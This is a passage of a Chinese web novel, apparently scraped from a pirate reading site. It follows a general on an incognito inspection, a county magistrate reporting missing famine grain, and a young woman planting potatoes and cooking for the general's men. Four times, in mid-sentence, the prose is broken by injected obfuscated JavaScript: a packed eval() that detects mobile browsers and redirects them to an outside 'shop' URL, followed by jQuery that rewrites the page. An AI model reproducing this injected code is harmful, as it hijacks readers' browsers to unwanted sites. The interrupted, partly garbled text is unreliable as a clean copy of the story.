蒋成晏在桌前坐了一会儿,伸手将昨晚写好的那封信从袖中取出,凑近烛火。火舌舔上纸角,很快将信纸吞没,化作一撮黑灰。 他重新铺开一张空白信纸,提笔蘸墨,这次没有停顿,奋笔疾书写了满满一张,又用火漆封好。 起身推开窗户,夜风裹着凉意涌进来。他吹了声短促的口哨,不多时,一只信鸽扑棱着翅膀落在窗沿上。 蒋成晏将信绑在鸽腿上,又从桌旁的点心盘里捏了一小块点心,喂给鸽子。鸽子咕咕叫着啄食完毕,张开翅膀,消失在了夜色中。 做完这一切,他才吹灭蜡烛,和衣躺下。 隔天清晨,天刚蒙蒙亮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463682|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小客栈迎来了一位不速之客。 徐县令没有带随从,也没有穿官服,只着一身便装,轻轻叩响了客栈的大门。 “客人远道而来,岂有不迎接的道理。”他低声自语,目光却在四下里不着痕迹地打量着。 咚咚咚。 小五敲响蒋成晏的房门:“公子,楼下有人找。” “进来。”蒋成晏的声音从屋内传出,不紧不慢。 小五推门而入,见蒋成晏已经穿戴整齐,正坐在椅子上。桌上摆着一壶茶,两只茶杯,像是早就料到会有人来。 蒋成晏抬眼看了小五一下,语气不带感情道:“既然是客人,还不请人家上来。” “遵命。”小五领命退了出去。 徐县令从踏进客栈的那一刻起,就觉出了这伙人不一般。 一楼大堂的桌上摆着早饭,围坐的几个人却没有一个动筷,看似悠闲地坐着,实则下盘沉稳,腰背挺直。没有人用目光直视他,可他却实实在在地感受到了一种被盯着的压迫感。 猜对了。 徐县令心下有了数。他方才随意拦了一个人,说要见他们的主人,那人便飞快上楼通报。看来正主在二楼。 正思忖间,那人从楼梯上下来,语气不卑不亢:“阁下,我家公子有请。” 徐县令在一楼众人的注视下,跟着小五上了二楼。楼梯尽头,一扇房门半掩着。 他推门而入。 屋内,一个年轻男子坐在椅子上,二十出头的模样,眉眼英朗,眉宇间带着一股肃杀之气。他正提起茶壶往杯中添茶,动作不紧不慢,听见门响,头也没抬。 “有客来访,恕我未能远迎。”蒋成晏专注倒茶,语气听不出什么情绪,“给大人倒杯茶赔个罪,可好?” 徐县令丝毫未觉怠慢,反倒恭恭敬敬作了一揖:“是我不知贵客来访,招待不周,还望见谅。在下徐闻,本朝二十六年进士,为羌兀县县令。” 听到徐闻自报家门,蒋成晏这才放下茶壶,站起身来,双手轻轻一拱,回了个不咸不淡的礼:“县令大人,在下有礼了。” 徐闻心里暗暗盘算。昨夜看过的信件里,并未明说暗访的钦差是谁。眼前这位听他报了科举年份,却浑不在意,连个客套的同年都不攀,看来不是文官,应是武将了。 他面上不动声色,又道:“大人一路舟车劳顿,在下接待不周,还望大人责罚。” 蒋成晏听到这声“大人”,心下冷笑。这些文官惯会察言观色,同年带同年,同乡带同乡,三言两语就能把人的底细摸个七七八八。他还没说几句,对方就已经猜了个大概。 只是这种本事,放在京城也是少见的,竟会出现在一个小县令身上。 他收回思绪,开口道:“你来拜访我,没有提前知会;我来这里,也没有提前通报你。咱们扯平了。”他抬手指了指对面的椅子,“别站着了,请坐。我特地备了好茶,招待大人。” 两人依次落座。蒋成晏将面前倒好的茶杯推向徐闻:“请。” 徐闻端起杯子,笑道:“那便恭敬不如从命了。” 8. 一片银叶子 正所谓伸手不打笑脸人。徐闻从推门进来起,脸上便挂着笑,语气恭恭敬敬,毫无半点地头蛇架势。 他端起茶杯,轻轻抿了一口,不吝啬夸奖:“大人给的,果然是好茶。” 蒋成晏闻言,嘴角微微一翘,笑意却没到眼底:“徐县令果然是个妙人。这茶不过是客栈小二随手上的,倒被县令夸出花来了。” 换作旁人,被这般戳破,少不得要难堪。可徐闻面色如常,放下茶杯,不紧不慢道:“再怎么说,也是大人赏的茶,哪有不好喝的道理。” 蒋成晏从进门起便未自报家门,徐闻却一口一个“大人”叫得顺溜。他心下又添了几分思量,却没接话,只自顾自端起茶杯,细细抿了一口。 一时间,屋里安静得只听得见茶水入喉的细微声响。 徐闻率先从袖中取出那枚银叶子,搁在桌上,语气诚恳:“在下治下无方,收受了大人的东西,还请大人见谅。” 蒋成晏瞥见那片银叶子,心里顿时了然,原是这东西露了白。可他想不通,这么个小玩意儿,怎就能让人联想到自己头上。 徐闻脸上依旧挂着笑,不紧不慢地解释:“大人有所不知,我们这地方穷山僻壤,您这个赏赐实在太贵重了。在京城,或许只是寻常打赏,可在这儿,一般人得了,足以当传家宝。” 蒋成晏怔了一下,随即笑出声来,这是今日头一回真真切切地笑了。他没想到,竟是这样一件小事露了破绽。 他本该早回边疆继续带兵,是母亲劝他接下这趟巡查。就连一向反对他插手文官事务的父亲,这回也没拦着。如今看来,他还是太年轻了。年少成名,是把双刃剑,他太自负了。 想到这里,他收起了对徐闻的轻视,开始正视眼前这个半路杀出来的县令。 “我赏出去的东西,从没有收回来的道理。”蒋成晏将茶杯搁下,语气平平,却不容置疑。 徐闻听他那声笑,心里已有了几分底,再听到这话,更是踏实了些。他接着解释道:“我已经让师爷另赏了那人。只是大人赏一户,解决不了根本。往后若是再有人得了丰厚赏赐,照样会被眼红的人举报。” 蒋成晏刚收起偏见,准备认真应对,听到这话,心里头却蹿起一丝火气。他压了压,问道:“你是本县的父母官,县里的事不都归你管?我又能解决什么?” 徐闻心知,话已引到正题上了。来之前他便做好了准备,只想瞧瞧这位钦差是不是个能成事的。没想到蒋成晏竟主动问了出来。他心下闪过一丝歉疚,到底还是利用了人家。 他站起身,朝蒋成晏深深作了一揖,声音里带着几分恳切:“还请大人,救救本县所有因旱灾而流离失所的百姓。” 徐闻脸上的笑不知何时已经褪去了。 蒋成晏没有起身去扶他,连虚情假意的客套都懒得做,只是冷冷盯着徐闻,上下打量了这个四十来岁的县令一眼。 良久,他才开口:“我只是个过路的,帮不了大人。朝廷拨的赈灾粮,足够大人撑到秋收了。” 听到蒋成晏终于提起赈灾粮的事,徐闻明显松了一口气。他环顾四周,房门已经被人轻轻带上,窗户也未打开,仿佛下了什么决心,压低声音道:“在下从未收到朝廷的赈灾粮。唯一的粮食,是从邻县调拨过来的陈米。” “从未收到?”蒋成晏眼神一凛,身子微微前倾,浑身气场变得凛冽,“诽谤朝廷可是大罪。徐县令,你可知错?” 徐闻露出一个比哭还难看的苦笑:“今夏大旱,我们几个县一同上报知府,知府也报了朝廷,朝廷答应拨粮。可我们足足等了三个月,一粒米都没见着。隔壁县比我们稍强些,他们直接征了粮行,匀了一点陈米给我。我日日盼着钦差大人能查清楚。好好的粮食,怎么就凭空没了?” 他这番话,倒是与小六在县衙库房看到的场景相符。确实只有陈米。 但若说他是个不谙世事的纯良县令,蒋成晏是不信的。一个能在地方上站稳脚跟的县令,没点手段和城府,早就被人吃干抹净了。 “你要我怎么做?”蒋成晏问,手指在桌面上轻轻叩了一下,“调查贪腐,没有月余拿不下来。”言下之意,这一个月里还是没有粮食,灾民照样得饿死。 徐闻听出他话里的松动,长出一口气,拱手道:“在下是本县父母官,自当竭尽全力稳住局面,哪怕去借去求,也要撑住。只要赈灾粮的事能被朝廷知晓,我就死而无憾了。” 蒋成晏并未全信,只站起身来,居高临下地看了他一眼:“我还会在此地待月余。希望徐县令说到做到。” 月余?徐闻心下诧异。他原以为蒋成晏会立刻回京查案,没想到还要逗留这么久。他一时拿不准,也不好开口相劝。催人走,显得心虚;留人久住,又怕惹人猜疑。 正犹豫间,蒋成晏瞥了他一眼,慢条斯理地补了一句:“我姓蒋。” 徐闻心头猛然涌上一阵狂喜,蒋国公今年五十有余,膝下有一嫡子,名唤蒋成晏,年方二十出头,与眼前这人正好对上了。 他当即深深一揖,腰弯得几乎与地面平行:“多谢蒋大人,救民于水深火热!” 蒋成晏面无表情,只道:“水深火热?”他顿了顿,嘴角微微一动,不知是笑还是嘲讽,“你回去把现有的粮食仔细清点出来。要我帮忙,也得拿出个章程。理清楚了,再来找我。” “遵命,只是客栈简陋,大人何不搬到县衙同住?”徐闻诚恳邀请。 蒋成晏摆了摆手,没有解释。 眼见目的已达,徐闻便行礼告辞,脚步轻快了几分,与来时判若两人。 蒋成晏站在原地,目送他离开。待门关上,他脸色一沉,冷冷道:“把小六给我叫进来。” 这段时间比起边疆,到底还是过于安逸了。小六懒洋洋地靠在椅子上,正等着主子下楼开饭,没成想等来的却是主子召见的噩耗。 他心跳如雷,战战兢兢地走进房间。 蒋成晏正端坐在椅子上,面上没什么表情,可那双眼睛看过来时,小六只觉得后背发凉。 他的直觉一向很准,当下不敢迟疑,扑通一声跪下来,额头几乎贴地:“请主子责罚。” 蒋成晏见他还算识趣,也不废话,直接将那片银叶子丢在他面前的地上。叶子落在地砖上,发出一声清脆的响,弹了两下才停住。 “看看这是什么。” 小六捡起来,捏在手里看了一眼,脸色就白了。这是他们随身携带的银叶子,前几日他随手赏给了城门看守。他低着头,声音发紧:“还请主子明示,属下愚钝。” 蒋成晏冷笑一声:“你赏出去的东西,被人举报了。这东西太精致,太惹眼,在这穷地方露了白,跟举着火把进粮仓有什么区别?” 小六震惊地抬起头:“就一片叶子,就被发现了?” 蒋成晏没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463683|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有接话,只是看着他,目光沉沉的。 这次出行,比起边疆的打打杀杀,确实轻松许多。可人一旦放松警惕,就容易露出破绽。蒋成晏自己心里也清楚,叫一个士兵去干文官的活,本就不合适,倒也不全怪小六。但规矩就是规矩,不能因为情有可原就轻轻放过。 “下不为例。自己去领罚。”他丢下这句话,推开门走了出去,留小六一个人在房间里长跪于地。 一楼的众人,方才还有说有笑的,自从目睹县令上门、小六被叫上楼之后,一个个都老实了。他们正襟危坐,眼观鼻鼻观心,恨不得连呼吸都停下来,生怕一个不注意就惹恼了蒋成晏。 大堂里安静得有些诡异,连茶碗碰桌子的声音都显得格外刺耳。 第一个下楼的却不是蒋成晏,而是苗苗。她脚步轻快,哒哒哒地跑下来,像一只不知愁的小鹿,径直走向众人。经过这几天的相处,苗苗胆子也大了些,笑着道:“你们都等我们呢?真不好意思啊。” 没人应她。大家都坐得端端正正,像学堂里等着夫子训话的学生,眼珠子都不敢乱转。 叶容容赶紧拉住她,低声道:“别跑那么快。先坐下,等会儿吃了饭还要搬家呢。” 苗苗见没人搭理,虽然觉得奇怪,也没多问,乖乖跟着叶容容坐下了,只是时不时偷眼去看那些随从的脸色。 楼上传来脚步声,不紧不慢,一下一下像是踩在人心口上。 终于,蒋成晏迈着沉稳的步子走下楼来。他面无表情,目光从众人身上扫过,不带一丝温度。他入了座,一言不发。 这一顿饭吃得人心里发慌,既不敢不吃,也不敢在主子前面吃完。众人战战兢兢地等到蒋成晏放下碗筷,这才暗暗松了口气,像是熬过了一场大刑。 叶容容正要拉着苗苗回屋收拾东西,却被蒋成晏叫住了。 “叶姑娘,一会儿有事吗?” 叶容容摇摇头:“没事,正打算回屋收拾东西。怎么了?” “搬东西的事交给他们就好。”蒋成晏道,语气不像是商量,“叶姑娘可愿同我去街上走走?” 叶容容略一迟疑,还是点了点头:“有劳公子。” 亲眼看着蒋成晏和叶容容出了门,随从们这才把悬着的心放下来,一个个溜得飞快,像是身后有人拿着鞭子追似的。 清晨的街上,比往日热闹了些。附近的村民拿着自家种的或是捕到的东西来交易,都盼着能换一口粮食。有人蹲在路边卖几把干野菜,有人拎着两只瘦鸡,还有几个孩子举着几串野果子,眼巴巴地望着来往的行人。 蒋成晏带着叶容容穿过熙熙攘攘的街道,一边走,一边打量着市井的情形。他步子不快,目光从一个个摊子上扫过,像是在寻找什么,又像是漫不经心。叶容容也是头一回逛古代的早市,看什么都觉得新鲜,那些叫不出名字的野果、用草绳捆着的草药、甚至路边一口冒着热气的大锅,都让她忍不住多看两眼。 走了一阵,蒋成晏忽然放慢了脚步,侧过头看了她一眼。叶容容正盯着一个卖干蘑菇的摊子出神,没注意到他的目光。 “叶姑娘。”他开了口,声音不大。 叶容容回过神,抬眼看他。 “这段时间,除了等你的土豆,”蒋成晏的语气不紧不慢,像是在说一件无关紧要的事,目光却落在她脸上,没有移开,“这早市上,可还有什么能救灾的东西么?” 9. 搬家啦 叶容容抬起头来看着蒋成晏,眼神里闪过一丝尴尬。她原以为真的只是出来走走,并未刻意留意什么有用的东西,倒是看上了那几朵干蘑菇,心里头还在琢磨,这玩意儿若是用来炖鸡,不知该有多香。 “我……还没仔细看。” 蒋成晏见她这副神色,没说什么,只蹲下身去,目光顺着她方才看的方向落在那堆干蘑菇上。 “叶姑娘看上这个了?” 叶容容如实道:“我看上这干蘑菇了。若是能寻只鸡来炖,想必是极好的。” 这几日已尝过叶容容的手艺,蒋成晏倒不怀疑她的眼光。他没多话,从怀里取出荷包,付了钱。 卖干蘑菇的小贩没想到今日这么早就开了张,喜得眉开眼笑。 叶容容接过蘑菇,正要转身,忽觉身上落了一道目光。她侧过头,见几个孩子正举着野果串,眼巴巴地望着这边。那一双双眼睛水汪汪的,像小鹿一般,叶容容心里一软。 她忽然想起自己还有仅剩的五文钱,便走到那几个孩子跟前,蹲下身来:“你们在卖什么?” 一个孩子举起手中的野果串,脆生生道:“这是我们在山里捡的,吃起来酸酸的,能止渴。” 叶容容瞧了一眼,确实不认得。她心下好奇,又问:“多少钱?” 那孩子倒也实诚,摇摇头说:“不管钱,姐姐随便给点就行。” 见孩子答得真诚,叶容容便将身上仅剩的五文钱都掏了出来,塞到孩子手里。 孩子捧着钱,一个劲儿地道谢。 蒋成晏站在一旁,将这一切看在眼里。他面上没什么表情,只默不作声地从荷包里又摸出几文钱,随手放在那孩子手中,动作干净利落,不带一丝多余的情绪。 孩子低头一看,激动得说不出话,连连朝两人作揖,然后兴冲冲地攥着钱往家跑。 两人便带着一包干蘑菇和几串野果,并肩往回走去。 叶容容一直以为蒋成晏是个冷漠无情、不近人情的权贵,没想到他竟也有这样一面。她手里捏着野果,余光偷偷瞥了一眼身旁面无表情的男人。 蒋成晏察觉到了她的小动作,脸上没什么反应,连眼皮都没抬一下,只当没看见。 回到客栈时,所有人都已收拾停当,只等蒋成晏发话。 苗苗一眼瞧见叶容容手里拿着东西,赶忙迎上去接过来,笑嘻嘻地问:“小姐,你们买了些什么好东西呀?” 叶容容一样一样地告诉她。苗苗听说今晚有炖鸡吃,眼睛顿时亮了起来,欢喜得直搓手。 蒋成晏只说了句“走吧”,便转身去了后院牵马。 众人带上行李和马匹,往新租下的小院走去。小六留在后头跟小二结账,自知犯了错的他,付完钱便老老实实走在队伍最后面,恨不得把自己藏起来,生怕引起蒋成晏的注意。 苗苗跟在叶容容身后,走了一会儿才发现平日里最活泼的小六不见了。她回头张望,瞧见队伍末尾那个垂头丧气的身影。 小六虽然极力掩饰,可走路的姿势还是有点不对劲,腿脚微微有些跛。 联想到今早吃早饭时那诡异的安静,苗苗心里隐约明白了什么,远远地看了小六一眼。 小六像是感应到了什么,恰好抬起头来,与苗苗的目光撞个正着。那一瞬间,苗苗觉得周围的空气都凝住了,耳边什么声音都听不见了,只看见小六缓缓抬起手,冲她轻轻摆了摆。 苗苗忽然想起他带她骑马时的模样。 那是除了小姐之外,她头一回感受到的暖意。想到这里,她脸上微微一热,赶紧扭过头去,生怕被人瞧见。 牙婆早已等在小院门口,手里攥着钥匙。小六他们提前付清了银子,她今日只需把钥匙交出来便是。 见蒋成晏骑马过来,牙婆满脸堆笑,正要凑上去攀谈,却被小五不动声色地拦住了。小五接过钥匙,又从怀里摸出一小块碎银子递过去。牙婆得了赏钱,笑呵呵地说了两句吉祥话,便识趣地告辞了。 众人这才进了院子。 小六默默走到蒋成晏跟前,接过缰绳,牵着马去了马房。蒋成晏扫了一眼他那微微跛着的腿,目光停了一瞬,便收了回来,什么也没说。 房间是早就安排好的。叶容容挑了离后院水井最近的一间,屋子不大,只有一扇朝后院的窗户。陈设也简陋,连个屏风都没有,推开门便是一览无余,床榻就在眼前。 叶容容并不在意这些,她满心惦记着那些土豆。放好行李,便迫不及待地往后院跑。 她之前叮嘱过,要把买的土豆都放在后院等着。果然,地上摆着两麻袋发了芽的土豆。 叶容容提起袋子,哗啦一声把土豆全倒在地上。圆滚滚的土豆就在后院的土地上四散滚开。她从井里打了水,洗净双手,又挽起袖子,准备大干一场。 苗苗忙着把跑远的土豆捡回来,蹲在地上问:“小姐,需要我做些什么吗?” 叶容容不知道怎么跟她讲选种的事,便道:“你去厨房找两把小刀来。” 她则蹲下来,自己动手挑拣那些芽点饱满的土豆。这东西要切成块,每块上都得留一个发芽的眼儿,不然成活率低。 苗苗头一回到这院子,绕了一圈也没找着厨房。正巧碰上拴好马的小六,小六见她像只无头苍蝇似的乱转,问道:“你找什么呢?转了半天了。” “小姐让我去厨房找两把小刀,我没找着厨房。” “小刀?”小六有些纳闷,不知叶容容要刀做什么,但也没多问,随手把自己腰间的匕首解下来递过去,“用我的吧,比厨房的刀快多了。” 苗苗接过来,感激道:“多谢小六哥。小姐说要两把……” 一旁看热闹的小五没忍住,噗嗤笑出了声。小六回过头,瞪了他一眼,二话不说走过去,按住小五,从他怀里也摸出一把匕首,一并递给苗苗。 “拿去。” “多谢小六哥、小五哥!”苗苗捧着两把匕首,一溜烟跑了。 苗苗把两把匕首递给叶容容。 叶容容接过来,拿起一个土豆,边切边给苗苗讲解:“要把每个发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463684|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了芽的土豆都切成块,每一块上都得带着绿芽才行。” 这活儿倒是不难。苗苗很快就上手了,切得飞快。 蒋成晏站在不远处,目光落在她们身上。他心中暗暗称奇,按常理,这种独门手艺,寻常人家都是藏着掖着,生怕旁人学了去。叶容容倒好,大大方方地教给自己的丫鬟,丝毫不怕教会了徒弟、饿死了师傅。 他略一沉吟,抬手指了指正在忙碌的叶容容。 身旁的随从立刻会意,走上前去,客客气气地问道:“叶姑娘,可有什么需要我们帮忙的?” 叶容容抬头看了一眼,道:“我也不晓得你们会些什么,就不瞎指挥了。劳烦各位把这后院的土翻一翻,等我们把土豆切好,正好可以下种。” 得嘞。 众人应了一声,四散开去,找锄头的找锄头,划线的划线,后院顿时热闹起来。 前院的小五和小六也走了进来,一眼看见满院子的人都在埋头翻地,不禁揉了揉眼睛,以为自己看错了。众人见了他们,赶忙招手:“愣着干什么?过来帮忙!” 苗苗听见动静,抬起头,正好看见小六。她想起他方才走路时腿脚还有些不便,心里头微微一揪,可又不知该说什么,手上切土豆的动作也慢了下来。 一旁的叶容容察觉到她的异样,低声问:“怎么了?” 苗苗张了张嘴,想说什么,又咽了回去,人家未必需要她的好心。她垂下眼,手里的刀却没有再动,余光却不由自主地往小六那边瞟。 叶容容顺着她的视线望过去,心里便明白了八九分。她放下匕首,站起身,拍了拍衣上的碎屑,走到蒋成晏跟前。 “蒋公子,今日刚搬过来,大家都出了力。中午我想给大家做顿饭,正好早上买了蘑菇,可以炖只鸡。”她顿了顿,“只是我一个人忙不过来,能不能让小六去帮我采买?顺便让他搭把手。” 蒋成晏没有拒绝,微微点了点头,唤道:“小六。” 小六应声走过来。 “你跟着叶姑娘去厨房,听她安排。” “遵命。” 叶容容领着小六走到后院外一处僻静地方,才道:“我也不知你们中午想吃什么。你去买只鸡来炖蘑菇,其余的菜你看着办。我先去切土豆,一会儿我们在厨房碰头。” 小六心里明白,这是主仆二人有意让他避开那些重活。他抱了抱拳,没多说什么,转身去了。 叶容容返回后院,继续切土豆。其余人则埋头翻地,一时间,小小的后院满是劳作的气息。 众人齐心协力,不多时便翻出了两块方方正正的地。眼看日头渐渐高了,怕晒坏了即将要下的种,他们又就地取材,在周围寻到几个竹竿,在地的四角搭起竹竿,预备着回头买些布匹来,做个遮阳的棚子。 叶容容和苗苗也把土豆切完了,找了个阴凉处搁好,避免日头直晒。 叶容容拍了拍身上的土,朝众人欠了欠身,笑道:“多谢各位帮忙。一会儿我给大家炖鸡吃。眼下没什么急事了,诸位先歇一歇吧。” 10. 来信 叶容容从水井里提了一桶水上来,供众人洗手。自己则快步走向厨房,准备张罗搬到新家后的第一顿午饭。 小六已经买好食材,在厨房里等着了。见叶容容进来,他主动解释道:“这地方小,物产不丰,将就着买了几样。” 叶容容点点头:“有鸡便够了。我做一个小鸡炖蘑菇,再添两个菜。” 小六站在厨房里,手足无措。他自幼舞刀弄剑,哪里进过灶房?所谓君子远庖厨,他连菜刀都没摸过几回,此刻只觉得浑身不自在。 叶容容见他这副模样,忍不住笑了一声:“小六,你该不会是不会做饭吧?” 被这么一调侃,小六脸涨得通红,憋了半天,愣是一句话也说不出来。 叶容容怕再逗下去真把他惹急了,便收了笑意,吩咐道:“生火你总会吧?你就守着灶台,把火烧旺些,草木灰待会儿有用。” 这个倒是会。小六乖乖蹲到灶台前,开始生火。 叶容容看了一眼厨房门口那只活蹦乱跳的大公鸡,心里默念了一句;“早日投胎”便将鸡提起来,抄起菜刀,利落地送它上了路。她顺手拿了个小碗,将鸡血接住,一滴也没浪费。 一气呵成。 小六那边也烧好了热水,用瓜瓢舀进木桶里。叶容容将公鸡浸入热水中,趁热开始拔毛。热气在狭小的厨房里弥漫开来,她手上动作极快,一看就是做过许多回的。 趁水还热着,她又舀了一碗干净的热水,把早市上买的干蘑菇泡进去。 拔净毛的鸡冲洗干净,搁在案板上,叶容容手起刀落,邦邦邦地剁成了小块。 一旁烧火的小六全程只负责添柴加热水,半点忙也帮不上,只能干瞪眼看着。 叶容容抽空把小六买回来的米淘洗干净,用另一口土灶焖上了饭。 一顿忙活下来,她备了三道菜。 头一道是大菜,蘑菇炖鸡。野生的蘑菇比后世人工培育的香得多,蘑菇的鲜香中和了鸡肉的油腻,只留下肉香。掀开锅盖的一瞬间,香气四溢,连在外头休息的随从们都闻到了。 鸡杂也不能浪费。叶容容翻来覆去洗得干干净净,确保没有一丝异味。锅里倒上油,猛火爆炒,鸡杂刚断生便铲出来,火候恰到好处。 先前接的鸡血已经凝固,她用刀划成小块,配上几样蔬菜,煮了一碗清淡的鸡血汤。 烧火的小六光是闻着这些香味,就馋得直咽口水。 最后一道汤出锅,叶容容拍了拍手,宣布:“可以开饭了。” 随从们争先恐后地涌进厨房,端菜的端菜,盛饭的盛饭,一个比一个积极。 蒋成晏坐在大堂里,看着自己这些平日里一个比一个冷着脸的属下,此刻像饿了三天的狼崽子似的在厨房和堂屋之间来回穿梭,不由微微一怔。 饭菜的香气随着他们的脚步飘进来。 他参加过许多场宴会,京城的、边关的、官场应酬的,哪一桌不是摆盘精致、食材稀罕?可那些山珍海味,竟没有一次像眼前这样,普普通通的炖鸡,勾得他腹中也有了饿意。 众人坐定,待蒋成晏先动了筷子,其余人才开始风卷残云般地吃起来。 鸡肉炖得软烂,混着蘑菇的鲜香,蘑菇嚼起来有韧性,满口生香。 鸡杂脆嫩,处理得干干净净,没有一丝异味。 肉菜吃腻了,再添一碗清淡的蔬菜汤,正好解腻。 几道菜搭配得当,一顿饭吃得所有人都心满意足。待盘里最后一块蘑菇被人夹走,众人才意犹未尽地放下筷子,脸上还挂着几分不舍。 小五甚至在心里头盘算:叶姑娘若是在京城寻不着亲人,他倒愿意出银子请她去军营当厨娘,让别的大营都眼红去。 美食当前,没人留意到蒋成晏,平日里讲究吃饱就不多于进食的他,今日破天荒地添了两次饭,菜也吃了不少。搁下碗筷的那一刻,他自己便觉出腹中有些撑了。 “叶姑娘这手艺,真是一绝。” “跟着她这些天,每顿饭都叫人惦记。” 众人你一言我一语,毫不吝啬地夸赞。 叶容容被说得有些不好意思,白皙的脸上微微泛起红晕,衬得人愈发温婉。 众人赶紧拦住正要收拾碗筷的叶容容,七嘴八舌道:“叶姑娘做饭辛苦了,这些小事交给我们便是。您先歇一歇,待会儿再给我们安排下午的活。” 叶容容领了他们的好意,没有勉强,自己坐到一旁歇息。 正发着呆,手肘忽然被人轻轻碰了一下。她转过头去。 不知何时,蒋成晏已沏好了一壶茶,正往杯子里倒。他将一杯茶递过来:“叶姑娘,喝杯茶消消食。” “多谢多谢。”叶容容受宠若惊地接过茶杯,“蒋公子太客气了。” 蒋成晏端起自己那杯,没什么多余的反应,只回了一句:“礼尚往来。” 叶容容小口抿着热茶,还没想出怎么接话,蒋成晏忽然换了话题:“依叶姑娘所见,这批土豆需要多大的地来种?可有什么章法安排?” 说到这个,叶容容便有说不完的话:“我们下午先在院里试种,等过几天发了芽、生了根,再移到田里大规模种。估摸着一个多月就能收了。” 蒋成晏听后点了点头:“好。期间叶姑娘若有什么难处,尽管来找我。” 叶容容再三道谢。这时随从们已收拾好厨房,纷纷聚到大堂来。 “叶姑娘,我们都准备好了,现在去种地么?” “来了。”叶容容赶紧把杯中的茶喝完,放下杯子,“多谢公子的好茶。我们先去后院种地了。”说完,一溜烟跑了出去。 蒋成晏看着她的背影,虽然面上没什么大表情,目光却在她跑远的那个方向停了一瞬。露出一个连他自己都没有发现的笑容。他正准备起身去后院,忽然听见一阵翅膀扑腾的声音。 循声望去,一只信鸽落在窗棂上。 他招了招手,鸽子温顺地飞过来。他取下绑在腿上的信件,转身回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463685|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己房间。 后院里,众人早已等候多时,个个跃跃欲试。 叶容容见大家这般积极,心里也高兴,便开口分配活计:“今天的前期准备工作不多。只需要把每个切好的土豆块裹上草木灰,再埋进土里就行了。” 一部分人跑去厨房铲灶台底下积的草木灰,剩下的人拿起锄头,在地里挖出沟壑,按一定的间距准备播种。 小五好奇地问:“叶姑娘,种地为什么要用草木灰?” 叶容容也不藏私,大大方方地解释:“头一桩,草木灰可以防止切面发霉;第二桩,草木灰本身也能肥地。你们日后若自己种菜,不妨也试试。” 众人心里暗暗称奇,他们从未向叶容容透露过身份,可叶姑娘竟这般坦然地把这些门道教给他们。虽然他们这辈子大概率也用不上这些了。 这次的旅程,在他们戎马一生的军旅生涯中,大概只是一段小小的插曲罢了。 “让让!让让!”去取草木灰的人端着满满一盆灰回来了。 叶容容看着那盆灰,满意地点了点头。 众人纷纷动起手来:切好的土豆块在草木灰里滚上一圈,带着灰直接放进刚挖好的小土坑里。有人裹灰,有人播种,有人挥锄覆土,分工明确,配合默契。 一时间,后院里满是热火朝天的劳作气息。 蒋成晏快步走回房间,撕开信封,取出信件。是父母来的信。 母亲照例叮嘱他小心行事;父亲则提点了几句朝堂近来的动向,告知他缺粮的事已暗中知会了首辅,对方已派人来查,让他们不便过多插手。 蒋成晏看着母亲信中的关切话语,脑海中忽然冒出一个不相干的念头:母亲素来食不厌精,她会喜欢吃蘑菇炖鸡么? 这念头一闪而过,他自己都微微一怔。随即晃了晃头,将思绪拉回正事上。 他先提笔给父亲回信,写下了这些时日的见闻,提到那个不同寻常的县令,顺带询问了知府那边的动静。字句简短,公事公办,末了告知还需月余才能回去。 给母亲的信则家常了许多,问候了母亲的近况,让她不必挂念。 搁下笔,他忽然想起叶容容托他寻亲的事,如今八字还没一撇,贸然拜托母亲,只怕会引起她的疑心。不如先找母亲身边的王嬷嬷打听打听。王嬷嬷是母亲的陪嫁丫鬟,精明能干,京城里的大小事务,她多少都知晓一些。 想到这里,他放下笔,将信件收好,起身往后院走去,他想多问叶容容几句,关于寻亲的细节。 等他走到后院时,先前那片荒凉的土地已被收拾得井井有条,种植工作也快收尾了。他只看见一块块被泥土覆盖整齐的垄沟。 “叶姑娘。”他唤了一声。 叶容容正在做最后的收尾。刚种下的土豆需要浇一次透水,水要浇足,才能保证发芽。听见有人叫她,她抬起头,正看见蒋成晏站在长廊上。 “来了。”她应了一声,拍了拍手上的泥,快步走了过去。 11. 母亲的信 